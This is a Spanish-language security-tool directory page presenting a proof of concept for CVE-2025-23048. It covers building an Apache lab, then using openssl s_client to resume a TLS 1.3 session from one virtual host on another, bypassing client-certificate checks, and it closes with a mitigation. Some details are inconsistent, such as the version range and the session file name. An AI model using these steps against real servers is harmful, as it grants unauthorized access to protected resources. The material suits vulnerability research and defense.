Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-23048-POC — Las versiones 2.4.35 – 2.4.63 de Apache HTTP Server son vulnerables a una omisión de autenticación de certificados de cliente cuando se utiliza la reanudación de sesión TLS 1.3 entre hosts virtuales con diferentes directivas `SSLCACertificateFile`. | Kitploit
Herramientas/GitHubGitHub/absholi7ly/cve-2025-23048-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAutenticación
GitHubabsholi7ly/cve-2025-23048-poc

CVE-2025-23048-POC

Las versiones 2.4.35 – 2.4.63 de Apache HTTP Server son vulnerables a una omisión de autenticación de certificados de cliente cuando se utiliza la reanudación de sesión TLS 1.3 entre hosts virtuales con diferentes directivas `SSLCACertificateFile`.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
4hace 10 mesesAún no revisado

CVE-2025-23048: Bypass de certificado de cliente en la reanudación de sesión TLS 1.3 de Apache mod_ssl

Las versiones de Apache HTTP Server 2.4.35 – 2.4.62 son vulnerables a un bypass de autenticación de certificado de cliente cuando se utiliza la reanudación de sesión TLS 1.3 entre hosts virtuales con diferentes directivas SSLCACertificateFile.

Un atacante con un certificado de cliente válido para un host virtual puede reanudar una sesión TLS 1.3 en un host virtual distinto que requiere un certificado emitido por una CA diferente, obteniendo acceso no autorizado a recursos protegidos.


Entorno de Pruebas

  • Apache HTTP Server: 2.4.57 (Win64)
  • Sistema Operativo: Windows 10 (64-bit)

Configuración del Servidor

1. Instalar Apache 2.4.57 (Win64)

root@kitploit:~
# Download from: https://www.apachelounge.com/download/VS16/binaries/httpd-2.4.57-win64-VS16.zip
# Extract to C:\Apache24

2. Habilitar los módulos requeridos en conf\httpd.conf

root@kitploit:~
LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so

3. Configurar la caché de sesión SSL

root@kitploit:~
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on

4. Crear el directorio SSL y generar los certificados

root@kitploit:~
cd C:\Apache24\conf
mkdir ssl
cd ssl

# Server cert (self-signed)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"

# CA1 and client cert for vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365

# CA2 for vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"

# Cleanup
del client_ca1.csr *.srl

5. Configurar los hosts virtuales (conf\extra\httpd-vhosts.conf)

root@kitploit:~
<VirtualHost *:443>
    ServerName vhost1.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost1"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
    SSLVerifyClient optional
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location />
        Require ssl-verify-client
    </Location>
</VirtualHost>

<VirtualHost *:443>
    ServerName vhost2.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost2"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"

    SSLVerifyClient optional_no_ca
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location /restricted>
        Require valid-user
    </Location>
</VirtualHost>

6. Crear el contenido protegido

root@kitploit:~
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html

mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html

7. Iniciar Apache

root@kitploit:~
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start

Prueba de Concepto

Paso 1: Handshake completo con vhost1 → Guardar sesión

root@kitploit:~
openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443

Entrada después de la conexión:

root@kitploit:~
GET / HTTP/1.1
Host: vhost1.example.com

Apache

Salida esperada (truncada):

root@kitploit:~
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>

El ticket de sesión se guardó en session_shared.pem.


Paso 2: Reanudar sesión en vhost2 → Acceder a la ruta protegida

root@kitploit:~
openssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443

Entrada:

root@kitploit:~
GET /restricted/ HTTP/1.1
Host: vhost2.example.com

Salida esperada (crítica):

root@kitploit:~
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Resumption PSK: ...
    TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

Apache

El certificado de cliente de CA1 fue aceptado en vhost2 (que solo confía en CA2)
No se produjo reautenticación: la reanudación de sesión omitió la verificación de CA


Mitigación

root@kitploit:~
SSLStrictSNIVHostCheck on

en todos los hosts virtuales TLS 1.3 que requieran CAs de cliente distintas.

Deshabilita la reanudación de sesión entre SNI: evita el bypass.


Descargar herramienta